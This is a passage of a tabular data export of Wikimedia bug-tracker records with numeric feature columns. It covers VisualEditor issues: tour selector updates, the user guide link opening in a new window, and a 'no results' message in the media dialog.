Now, on English Wikipedia, with VE enabled:

* ca-edit is source editing
* ca-ve-edit is VE editing

In a blacklisted browser:

* ca-edit is source editing
* ca-ve-edit is hidden

The tours need to be adjusted accordingly.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1375473480,1376583765.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-dixea6aehlzjvgpfccvz,task_description,resolved,True,c1,3,True,False,True,4,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,5.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,3.377551020408163,0.5306122448979592,"VE changed the edit tab selectors as part of their UI update to show it's in Beta.

Now, on English Wikipedia, with VE enabled:

* ca-edit is source editing
* ca-ve-edit is VE editing

In a blacklisted browser:

* ca-edit is source editing
* ca-ve-edit is hidden

The tours need to be adjusted accordingly.

--------------------------
**Version**: unspecified
**Severity**: major"
236298,Update tours for new edit tab selectors,"Change 78026 merged by jenkins-bot:
Update VE section edit selector

https://gerrit.wikimedia.org/r/78026",,,1376526350,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 78026 merged by jenkins-bot:
Update VE section edit selector

GERRIT_URL"
236295,Update tours for new edit tab selectors,"Change 78026 had a related patch set uploaded by Mattflaschen:
Update VE section edit selector

https://gerrit.wikimedia.org/r/78026",,,1375865592,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 78026 had a related patch set uploaded by Mattflaschen:
Update VE section edit selector

GERRIT_URL"
236290,Update tours for new edit tab selectors,"Change 77387 merged by jenkins-bot:
Update to match new VisualEditor edit tab selector

https://gerrit.wikimedia.org/r/77387",,,1375477475,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 77387 merged by jenkins-bot:
Update to match new VisualEditor edit tab selector

GERRIT_URL"
236285,Update tours for new edit tab selectors,"Change 77387 had a related patch set uploaded by Mattflaschen:
Update to match new VisualEditor edit tab selector

https://gerrit.wikimedia.org/r/77387",,,1375477081,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.954545454545454,1.0,"Change 77387 had a related patch set uploaded by Mattflaschen:
Update to match new VisualEditor edit tab selector

GERRIT_URL"
236279,Update tours for new edit tab selectors,"**swalling** wrote:

Yes, without this fixed I get the gettinstartedtasktoolbarve tour (meant for VE) pointing to edit source, not the new beta tab. 

Thankfully it's just missing some steps, not causing any visibly broken or confusing behavior.",,,1375474521,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.038461538461538,0.8269230769230769,"**swalling** wrote:

Yes, without this fixed I get the gettinstartedtasktoolbarve tour (meant for VE) pointing to edit source, not the new beta tab. 

Thankfully it's just missing some steps, not causing any visibly broken or confusing behavior."
54475,VisualEditor:  User guide should open in a new tab/window,"From user:PamD at en.wp:

Clicking on the ""Read the User Guide"" link (within the Beta/questionmark popup) has the effect of losing all current editing, because it opens the User Guide in the current window, without warning that it's going to do so. Imagine: half an hour's editing, find a problem, remember seeing that link and think it might offer advice, click for the popup, click to open the User Guide, and ... one very unhappy editor. I suggest that either the User Guide should open in a new tab or window, or, if this is impossible, there should be a warning ""Read the User Guide (and lose any current edits)"".

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375472100,1375474715.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vzoa67je6467j364n6nw,task_description,resolved,True,c1,3,False,False,True,4,,1.0,0.0,0.5,0.0,0.0,5.0,1.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,9.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,2.5,1.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,11.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,8.0,1.5,11.5,3.0,3.5,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,2.0,9.0,6.5,0.0,2.5,0.0,2.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.0,3.6835443037974684,0.689873417721519,"From user:PamD at en.wp:

Clicking on the ""Read the User Guide"" link (within the Beta/questionmark popup) has the effect of losing all current editing, because it opens the User Guide in the current window, without warning that it's going to do so. Imagine: half an hour's editing, find a problem, remember seeing that link and think it might offer advice, click for the popup, click to open the User Guide, and ... one very unhappy editor. I suggest that either the User Guide should open in a new tab or window, or, if this is impossible, there should be a warning ""Read the User Guide (and lose any current edits)"".

--------------------------
**Version**: unspecified
**Severity**: normal"
236240,VisualEditor:  User guide should open in a new tab/window,"Thanks for the reply, that is very useful to know.

Brevity is not my strong suit so I've refrained from making a change to it myself. I've asked for suggestions at [[WP:VE/F#User Manual should open in new tab/window]], feel free to opine.",,,1375487279,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,2.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,5.0,3.316666666666667,0.8,"Thanks for the reply, that is very useful to know.

Brevity is not my strong suit so I've refrained from making a change to it myself. I've asked for suggestions at [[WP:VE/F#User Manual should open in new tab/window]], feel free to opine."
236236,VisualEditor:  User guide should open in a new tab/window,"The text is controlled by https://en.wikipedia.org/wiki/MediaWiki:Visualeditor-help-label - but I'd counsel against putting a lot of text into it, as it may not look very good.",,,1375486752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.2857142857142856,0.9285714285714286,"The text is controlled by URL - but I'd counsel against putting a lot of text into it, as it may not look very good."
236233,VisualEditor:  User guide should open in a new tab/window,"Thanks for the super-quick fix.

As for the wait until deployment, would it be possible to add something like ""(hold CTRL while clicking this link to open it in a new window)"" before this goes live?
If not it's not worth doing anything, but if we can as an interim measure help some people that's better than nothing.",,,1375485996,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,1.0,3.0,0.0,0.0,3.0,11.0,1.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,19.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,5.0,4.0,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,19.0,1.0,1.0,3.0,0.0,5.0,0.0,1.0,3.0,0.0,3.0,1.0,0.0,0.0,3.589041095890411,0.8493150684931506,"Thanks for the super-quick fix.

As for the wait until deployment, would it be possible to add something like ""(hold CTRL while clicking this link to open it in a new window)"" before this goes live?
If not it's not worth doing anything, but if we can as an interim measure help some people that's better than nothing."
236231,VisualEditor:  User guide should open in a new tab/window,"Now fixed in the code; next scheduled deployment is not until 15 August, however. :-(",,,1375474715,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,1.0,"Now fixed in the code; next scheduled deployment is not until 15 August, however. :-("
236229,VisualEditor:  User guide should open in a new tab/window,"Change 77374 merged by jenkins-bot:
Make the link to the user guide open in a new window

https://gerrit.wikimedia.org/r/77374",,,1375473897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,"Change 77374 merged by jenkins-bot:
Make the link to the user guide open in a new window

GERRIT_URL"
236225,VisualEditor:  User guide should open in a new tab/window,"Change 77374 had a related patch set uploaded by Jforrester:
Make the link to the user guide open in a new window

https://gerrit.wikimedia.org/r/77374",,,1375473255,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.9230769230769231,"Change 77374 had a related patch set uploaded by Jforrester:
Make the link to the user guide open in a new window

GERRIT_URL"
236219,VisualEditor:  User guide should open in a new tab/window,Marking as high priority like similar bug 52093,,,1375472396,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,1.0,Marking as high priority like similar bug 52093
54463,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"en.wp user:Wouterstomp asks.
""When no image is found, please display a message saying so, now it looks like nothing is happening (especially [if you] missed the short busy animation of the search bar)""
The context is the image insertion dialog.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1375460760,1400781276.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-v2iurekb2mj5nlfaied2,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,4.0,1.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,3.888888888888889,0.7222222222222222,"en.wp user:Wouterstomp asks.
""When no image is found, please display a message saying so, now it looks like nothing is happening (especially [if you] missed the short busy animation of the search bar)""
The context is the image insertion dialog.

--------------------------
**Version**: unspecified
**Severity**: trivial"
235622,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,Verified in production,,,1400794526,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,1.0,Verified in production
235618,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,Verified the fix in Betalabs,,,1400537169,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,Verified the fix in Betalabs
235614,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133864 merged by jenkins-bot:
Hide 'no results found' once there's at least one result

https://gerrit.wikimedia.org/r/133864",,,1400535869,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.8333333333333335,0.9583333333333334,"Change 133864 merged by jenkins-bot:
Hide 'no results found' once there's at least one result

GERRIT_URL"
235610,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133864 had a related patch set uploaded by Jforrester:
Hide 'no results found' once there's at least one result

https://gerrit.wikimedia.org/r/133864",,,1400282641,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.148148148148148,0.9629629629629629,"Change 133864 had a related patch set uploaded by Jforrester:
Hide 'no results found' once there's at least one result

GERRIT_URL"
235606,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133858 merged by jenkins-bot:
Hide 'no results found' once there's at least one result

https://gerrit.wikimedia.org/r/133858",,,1400282181,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.8333333333333335,0.9583333333333334,"Change 133858 merged by jenkins-bot:
Hide 'no results found' once there's at least one result

GERRIT_URL"
235601,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133858 had a related patch set uploaded by Mooeypoo:
Hide 'no results found' once there's at least one result

https://gerrit.wikimedia.org/r/133858",,,1400280097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.074074074074074,0.9629629629629629,"Change 133858 had a related patch set uploaded by Mooeypoo:
Hide 'no results found' once there's at least one result

GERRIT_URL"
235598,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Created attachment 15419
Screenshot

**Attached**: {F11195}",,,1400268429,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.8,"Created attachment 15419
Screenshot

**Attached**: {F11195}"
235592,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"The message ""No results found"" stays in the dialog even if user changed the search string and the matched images appear inside the dialog.See the screenshot attached",,,1400268400,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,10.0,3.0,3.0,23.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.483870967741935,0.8064516129032258,"The message ""No results found"" stays in the dialog even if user changed the search string and the matched images appear inside the dialog.See the screenshot attached"
235585,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133050 merged by jenkins-bot:
If no media is found display a message in media insert dialog

